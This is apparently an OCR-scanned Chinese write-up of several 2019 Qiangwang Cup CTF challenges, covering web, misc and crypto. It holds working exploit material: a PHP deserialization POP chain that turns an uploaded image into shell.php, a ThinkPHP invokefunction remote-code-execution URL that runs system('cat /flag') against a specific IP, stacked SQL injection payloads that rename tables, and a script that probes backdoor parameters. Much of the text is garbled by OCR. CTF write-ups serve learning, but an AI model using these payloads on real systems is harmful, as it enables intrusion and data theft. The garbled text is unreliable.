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H—TRE&HEHZ, RMluploadZiMtER, www.tar.gz2EtE K.
www.tar.gz T 8 T K2 M 75D, upload MR AT_EAZ RIS, B EAL ST HTERD:
tp5
Idea
application
index
web
behavior
controller

[9 Index.php

[9 Login.php
\&Pmﬁle.php

[9 Register.php

namespace app\web\controller
use think\Controller
class Profile extends Controller

public
public
public
public
public
public

public

public function

->checker=new Index
->upload_menu= 'REMOTE_ADDR




($this->upload menu)){
($this->upload menu);

($this->upload menu);

public function Of
if($this->checker){
if(!$this->checker-> O){
$curr_url="http://".$_SERVER[ 'HTTP_HOST'].$ SERVER[ 'SCRIPT_NAME']."/index";
$this-> ($curr_url,302);
OF

if(! ($_FILES)){
$this->filename_tmp=$ FILES[ 'upload_file']['tmp_name'];
$this->filename= ($_FILES['upload_file']['name']).".png";
$this-> OF
}
if($this->ext) {
if( ($this->filename_tmp)) {
@ ($this->filename_tmp, $this->filename);
@ ($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this-> O;
telse{
$this-> ('Forbidden type!’, ('"../index"));

("Unknow file type!’, ('"../index"));

public function O
$user_info=db('user')-> ("ID",$this->checker->profile[ 'ID'])-> 0);
if( ($user_info['img']) && $this->img){
if(db('user')-> ('ID',$user_info['ID'])-> (["img"=> ($this->img)])-> O)H{
$this-> O;
$this-> ('Upload img successful!’, ('../home"));
telse{
$this-> ('Upload file failed!', ('../index"));

public function O
$this->checker->profile[ 'img' ]=$this->img;
("user", ¢ ($this->checker->profile)),3600);

public function O

$ext_arr= (".",$this->filename);
$this->ext= ($ext_arr);
if($this->ext=="png"){

return 1;
telse{

return 9;




public function ($name)

{

return $this->except[$name];

public function ($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);

St B4R B SCAEEAT T mdS b3, BEUE FEshel R ANAT &%

#—TERE, MiZfRegister->Index. Login->Profile, REXAREATH L, XM EEARTITT, EEProfile B AN RFFIN
BB, RATAT AR KM R F 5L .

% Profile B 11X — B :

public function O
if($this->checker){
if(!$this->checker-> O)H){
$curr_url="http://".$_SERVER[ "HTTP_HOST'].$ SERVER[ 'SCRIPT_NAME']."/index";
$this-> ($curr_url,302);
OF

if(! ($_FILES)){
$this->filename_tmp=$% FILES['upload_file']['tmp_name'];
$this->filename= ($_FILES['upload _file']['name']).".png";
$this-> OF
)i
if($this->ext) {
if( ($this->filename_tmp)) {
@ ($this->filename_tmp, $this->filename);
@ ($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this-> 0);
telse{
$this-> ('Forbidden type!’, ('../index"));
)i
telse{
$this-> ("Unknow file type!’, ("../index"));

BATIT AR R R FFI, 85T copy($this->filename_tmp, $this->filename); kX L4 #EAT B, R4 B E LT X B TD I
—ANifigf], ikcheckerffI{E Afalse, ikextf){E Atrue, T Ruh2%E R E AR HRFFIRHATIZ A upload_imgR L T .
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public function ($name)

{

return $this->except[$name];

public function ($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);

_ calFEENFEAANTT AT ER Wik, _ get/7EE R AAMR VB MR EHME S Bh R, 7] AR X BN BEAR J7 15k
i Fupdate_img & #.
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<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed;

)i

class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

$a=new Register();
$a->registed=0;
$a->checker=new Profile();
$a->checker->except=array('index'=>"upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/319bcb1118ebf67e39042aed397fe7ba/d1lcd8a0e3f740a40b97e8c4140d40383.png";
$a->checker->filename="./upload/319bcb1118ebf67e39042aed397fe7ba/shell.php";
( ($a));

i callfl__ getliik:

class Test{
public function ($method, $args){
echo $method;
($args);

}

$ob=new Test();
$ob-> (1,2);

) TR i -




hello

Array (

[0]=>1

[1]=>2

)

WE R YL, AAAATEREFM__calTERE—NSH, B oASERATEATIERS AR A
M__gety &M RIEAT H A KBS LS.

WRJE BRI — T B RRAE.

S )& Registersk, F XA BT H#4 & bR BN T A4 2R -

class Register extends Controller

{

public $checker;

public $registed;

public function @)
{

$this->checker=new Index();

1
J

public function @)
{

if(!$this->registed){
$this->checker-> OF

}




fchecker’5 giProfileZk ISt &, 4R G registed A0 % 34T checker->index();iX %t F Profile 2 ) 5t % checkersk i it & — M A
KRS, FAProfled A XA, ik calldfik, MBS call @S HN:
$name=index,$arguments=array([0]=>‘index’), Tiindext} T Profile¢ AT EAH B, Frilk_ gethik, HLlindexAZ3L,
Tt AR AT TpocH & $a->checker->except=array(‘index=>‘upload_img’), #R/5__ getH LBt £k B Hupload imgE#, XEEHA
MERBER T, REHRSIERATNE R 1S 42 BSphp SO, 8RB AR B3 AT #8077

THEHR U EERWNSIEET .

@ FEwWs - O X
AntSword &E =0 BEa
4 = 3
O aFESlF (2) < DXRHmE (8) ~
=3/ C#E v ALE CRlFxF A& FHE  MPEE »  var/www/himl/zpplication/ 3 E=E
O var £ B ool Eit
=1 www
L bl (O index 2019-06-02 01:54:03 4 Kb 0755
5 B public [0 web 2019-06-02 01:54:03 4Kb 0755
=1/ application D htaccess 2019-06-02 01:54:03 13 b 0755
M index [ build.php 2019-06-02 01:54:03 1.14 Kb 0755
I web [& command.php 2019-06-02 01:54:03 606 b 0755
+ I config [B] common.php 2019-06-02 01:54:03 616 b 0755
B extend [B provider.php 2019-06-02 01:54:03 635 b 0755
| route
M e [ tags.php 2019-06-02 01:54:03 981 b 0755
Il thinkphp
I vendor
=S f{5E it
2. WM G- L

XM UUERNE, KElog X HE 2

[ 2019-03-12T23:18:49+08:00 1 223.104.19.11 GET 39. 105. 136. 196:8000/2s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]1=1
[ error 1 [0]variable type error: boolean

[ 2019-03-12T23:18:53+08:00 ] 42.236. 10.84 GET 39. 105. 136. 196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error: boolean

[ 2019-03-12T23:19:52+08:00 ] 223.104.19.11 GET 39. 105. 136. 196:8000/2s=index/\think\Request/input&filter=system&data=whoami
[ error ] [0]Access to non—public constructor of class think\Request

[ 2019-03-12T23:23:59+08:00 ] 223.104.19. 11 get /?s=captcha
[ error ] [2]system(): Cannot execute a blank command

F @ SRR R LT AT, HEEMiEpayload:
http://49.4.26.104:32291/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][J=cat
Iflag

Vi i Bp AT £ Flflag.
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http://49.4.26.104:32291/1/public/?s=index/%255Cthink%255Capp/invokefunction&function=call_user_func_array&vars%255B0%255D=system&vars%255B1%255D%255B%255D=cat%20/flag

ER: HBEA
BEENR—T, BEIEE:

sl || =3

return preg match(”/select update delete|drop| insert where \./i”, $inject);

AR BE N R 2O e, AmpidiE, SNENERD T SRERNHEKRATR, JTikviRinformation_schema [¥jtables
Ficolumns ), ZRMESBIEN:
BHES1E#:

28 1 Submit Query

array(2) {

[(0]=>

string(1) "1"

[1]=>

string(7) "hahahah"
}

payload: ’;show tables;

MM FEXEXHREE , Ri—
28 1 Submit Query
array(1l) {

[@]=>

string(16) "1919810931114514"

}
array(1l) {

[@]=>

string(5) "words"

}

BIEWANR, BNEEBIRIEE:
payload: ’;describe *19198109311145147;

"IATD J ATV IFR S " IRi=rE | 7~

Z8: 1 Submit Query

array(6) {

[0]=>

string(4) "flag"

[1]==>

string(12) "varchar(lee)"




[2]==>
string(2) "NO"
[3]=>
string(@)
[4]=>
NULL
[5]==>
string(@)

XAZ1919810931114514KKER, BFENLWREMENEN LRSS,
XA G R — AR
A B — R iFITdescribe BFEE L

Query 0K,

MariabB zz]%" SHO
+_
+_
+

1 row in set (0.000 sec)

+
a |
-+
|
+

row in set (0.0 og.csdn.net/zz_Caleb

B PA LR [ B R R B4R, described RIBANFBRARK —A IR, FrLln] LAaniEflag?E19198109311145143%
H.



HEFERwords:

Z8: 1 Submit Query

array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]==
string(@) ""
[4]=>

NULL

[5]=>
string(@) ""

}

array(6) {

[0]=>

string(4) "data”
[1]=>
string(11) "varchar(20)"
[2]=>

string(2) "NO"
[3]=>
string(@) ""
[4]=>

NULL

[5]=>
string(@) ""

M AR P AR FE, TEYIHE R 1R BB RRT TSR, &AflaghEA21919810931114514%K, ik
Wr, it 1R B H R words R I A 2

R Bwords R ZFRE B, #£1919810931114514K K AN _Lid=1/14 FBUKwords, 4 HE# 1 H LR E
1919810931114514R KN %, HEEEERflagT .

payload: ’;alter table "1919810931114514" add(id int default 1);alter table words rename xxx;alter table *1919810931114514°
rename words;



REEEEH1MESag T .

=l || =

array(2) {
[0]=>
string(38) “flagi ooy _wemouron moomm .
[1]=>
string(l) "1”
}

XF T IXA R :
https://mochazz.github.io/2019/05/27/20195% M #F Web & 43+ # fi#/
RALT 55—k

4. RYKRE

BZERE, AZHEA, WRISHR
REERRBFNADNFEL, SHEHTRSFESwww.tar.gzlABARRE

HETHwww.targz, RERVELE, NIEEERL T, 300240 php3ctt, XHHFRERX AR, fiitMAESpythonfiliA T ...
BEEST FFJLANRRS S, BRERKRIMT AR,

L

$ GET['jVMcNhK F']l=" ';
D5y5‘cem($ GET['jVMcNhK F']1 27 "' ');
i$ GET['tz2aE IWb'] =" ';

echo "{$ GET['tz2aE IwWb']} ;

05 GET['cXjHCIMPs'] ="' ';

Dechn “{% GET['cXjHCIMPs']}" ;

BEAFEHAES GET]), 1HA KBS ssystem()fleval(), system()d] LLHAT R L4, eval)ml LLIATphpiEf), Hgrep rind&EE
X FsystemFleval, T PAFRE|— KHE, FroliX—ER BB %A BES GET[REiEa4S, A5 Hsystem()skeval()#4T .
THAMBARTCZ, BARREHK, WRMNERE, fiER):


https://mochazz.github.io/2019/05/27/2019%25E5%25BC%25BA%25E7%25BD%2591%25E6%259D%25AFWeb%25E9%2583%25A8%25E5%2588%2586%25E9%25A2%2598%25E8%25A7%25A3/

'‘src/’
'http://127.0.0.1:8302/"'
re.compile(r' (_GET\[\")(.*)(\'\]D")
listfile = os.listdir(path)
Hprint(Llistfile)
for file in listfile:
f = open(path + file)

con = f.read()

result = r.findall(con)
for j in result:
urll = url + file + '?' + j[1] + '=echo good;'
print(urll)
recon = requests.get(urll).text
if 'good' in recon:
print('YES")
print(urll)
exit();

XH— TR, retiRZpythonf IENIILECAEE, IENFRERXBE KRR EBIHG =AMESoANEE T 80, X
Tist R IENRIE A KIGETH S B 7).

B HY oK B ARphp XXt E, BEEEXTEA A 141% S Hicat Magit il & 2lflag T -

array(1) { [0]=> string(8) "wiMI9I7q" } array(1) { [0]=> string(3) "NPK" }

Warning: assert(): assert($_GET['xdOUXc39w'] 2?2 ' '): " " failed in /var/www/html/xk0SzyKwfzw.php on line 20

Array () string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10) "idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11) "Egx6a0p6kUP" }
string(9) "jYmlyYvLz" VSYcTArray () string(8) "hi5SLWnZd" array(1) { [0]=> string(9) "dJREkKNffr" } Array () KuuSMt1string(8) "jyUmroW_" array(1) { [0]=> string(4) "XQhY" }
_68ccPO9KGXOAPTUGDAArray () Array () MR8s3nFnarray(1) { [0]=> string(10) "FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array ()

THRQINrpUJvf641flag{. . _Yyarray(1) { [0]=> string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array () array(1) { [0]=> string(8) "oCoznfQZ" } gi9Array ()
czuhsLFVgQstring(7) "I5kR500" End of File
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PP root@kali: /mnt/hgfs/ £ E 3245k
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2. fiforf®orGame

BHERBEIHFIFAE, WM 2B H SRR
BNE R — A game, BELiEEE T game, Fgame W HEFIRID:

RN N BTy
< fdiw
<zcript sre="jsfother/mobile, je"» </ script>
Zzoript sro=" iz fother/basefid, 12" soript >
<zcript sre="jsfother/swfobject. i »</zcript>
Zzoript sro="jsfother/resampler. 32" »4 soripts

<zeript sre="jsfother MindioServer, j2”>< script >

Zzoript sro="igfother/oomtrols 3274 soript

<zcript sre="jsfother/resize. jg"» < script>

Zzoript sro=" ig/GameBovCore. 35" 4/ soripty

<zeript sro=" jefGameBoyI0. j5" #< soripty
<Shodsy

mobile jsFH

var ramPath = "rom/game. gb":
Fivar romPath = “laoyangiang. gb”;

war main ameas = il

T#igame.gb, £GAMEBOY3(f4, f#iHVisualBoy Advance&F#E#ITIEX.
BHEIuE 1,58 frromHh AL B

Rkl |BE e ”
B1:cfe2 a1 i
81:cfeb a1 i
01 :cfed a1 i
f:cffB a1 i
B1:cff2 a1 i
B1:cffd a1 i
v

RIET B2 — P B

i |B4& #E
88:cBa2 81 82
81:cFdd 81 82

AR FA Ha bk i B E K IR K FF


http://xn--game-494fk085a.gb

AT EFHE, RAE A, EIFRBISER, SRMNE, BT flag

&8 VisualBoyAdvance-101%
M B0 £FE0 IED E#EH

Crypto
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flag=open("flag","rb").read()

from Crypto.Util.number import getPrime,bytes to_long
p=getPrime(1024)

g=getPrime(1024)

e=65537

n=p*q

m=bytes_to_ long(flag)

c=pow(m,e,n)

print c,e,n

p=getPrime(1024)
e=65537

n=p*q
m=bytes_to_long("1"*32)
c=pow(m,e,n)

k)

2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712
©993362359762215715646429002408277747191995331240539531579198508382140219349074806334415773162638530112325183929
0498302805215586215426440110812496840409882394669181179895274719423729058132386866663735760469301507900755559497
4245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477
4880868048560183239867969991033855655404965344224063903559879768154507445359497850730090430071594969291871843385
92859040917546122343981520508220332785862546608841127597

65537
1496703005997511495029539987418504705373658788012799054203576520142577934243066251776506325878468586810706678947
5747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190
8542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236548659378516535328709
6542347455534823985802155158965016960243942384116069879333811520423814008573868088331343357406024360002850060082
4624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224
239581776975892385364446446185642939137287519945974807727

3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594]
4832179388335202200872303034701385259704689155111113203961854825647839754353463544400357769097811584076360449864
0381984064837960963003934889541504572320884363119125214260066760780747995419444723706108061837078767272034474141
3537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587
2696321335951492940674909556448934027087202841797150021492240689288286565153264468817912286380085728893315119459
42911372915003805505412099102954073299010951896955362470

65537
1462466262872582061862237080394863085409468781433833482746287035758279529184492527469025360491953578593420808182
5425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657|
4109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394543376319276695420269
3587353596448759543398490252996072665548169640400662891792224166614808274187403375697072435747053958984854870457
3091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444]
331578674338014080959653201802476516237464651809255679979

ST WA rsalfic. ev n, pRFANKIAESE, TRHAEEMEREREP




nl = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066)
7894757471802447113526464697767329385446415838423137918729863575044621849240752274334986314232891879883514756667
8519085421038958759497545606498461199046112668430108624153291526731167516419021347424531101962365486593785165353
2870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500
6008246243584734030595975938914121793991658136225129012633802995610196247414887793670193897757865472920653528850
©7224239581776975892385364446446185642939137287519945974807727

n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208
©818254255415360575502270483998372433924907621677330830303682212407646936943211501043060441259342016994301469704
6665741099926163082593117873185726759975032491861079009895252011359313024501053096135059273523945433763192766954
2026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548
7045730916339178693872393244477305875454725645614967248827994951867688583244908381691230770518903323136712203858
30444331578674338014080959653201802476516237464651809255679979

def (n1, n2):
while 1:
mod = nl % n2
if mod ==
return n2
nl n2
n2 mod

__main__":

if _ _name__ ==

g = gcd(nl, n2)
print(g)
print(nl / g)

B2pA
161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023
695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620
122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704
741778501737

R A rsaff % .



from Crypto.Util.number import inverse, long_to_bytes

#crypto
Cc = 248208389374661824854442673702375040012454345208243633439850498602350171063940206094910669327946289696883902
9712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518
3929049830280521558621542644011081249684040988239466918117989527471942372905813238686666373576046930150790075555
9497424555955551881914084402049848743268494692274123205324989457541779606709065512270230613484822025794329764546
1477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184]
338592859040917546122343981520508220332785862546608841127597
n = 149670300599751149502953998741850470537365878801279905420357652014257793424306625177650632587846858681070667
8947574718024471135264646977673293854464158384231379187298635750446218492407522743349863142328918798835147566678
5190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532]
8709654234745553482398580215515896501696024394238411606987933381152042381400857386808833134335740602436000285006
0082462435847340305959759389141217939916581362251290126338029956101962474148877936701938977578654729206535288500
7224239581776975892385364446446185642939137287519945974807727
p = 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584]
8769545370899736734780743484226976198203093973635837485235030354627727652779784910823246201228385403651686041249
24805412323471486221429513024367107238770298040268787441768635257727315317704741778501737

n//p

65537

=(p-1) *(q-1)
= inverse(e, phi)

pow(c,d,n)

print (m)
print(long_to_bytes(m))

ﬁ?ﬂﬂag




	2019强网杯部分writeup
	Web
	1、UPLOAD
	2、强网先锋-上单
	3、随便注
	4、高明的黑客

	Misc
	1、强网先锋-打野
	2、鲲or鳗orGame

	Crypto
	1、强网先锋-辅助



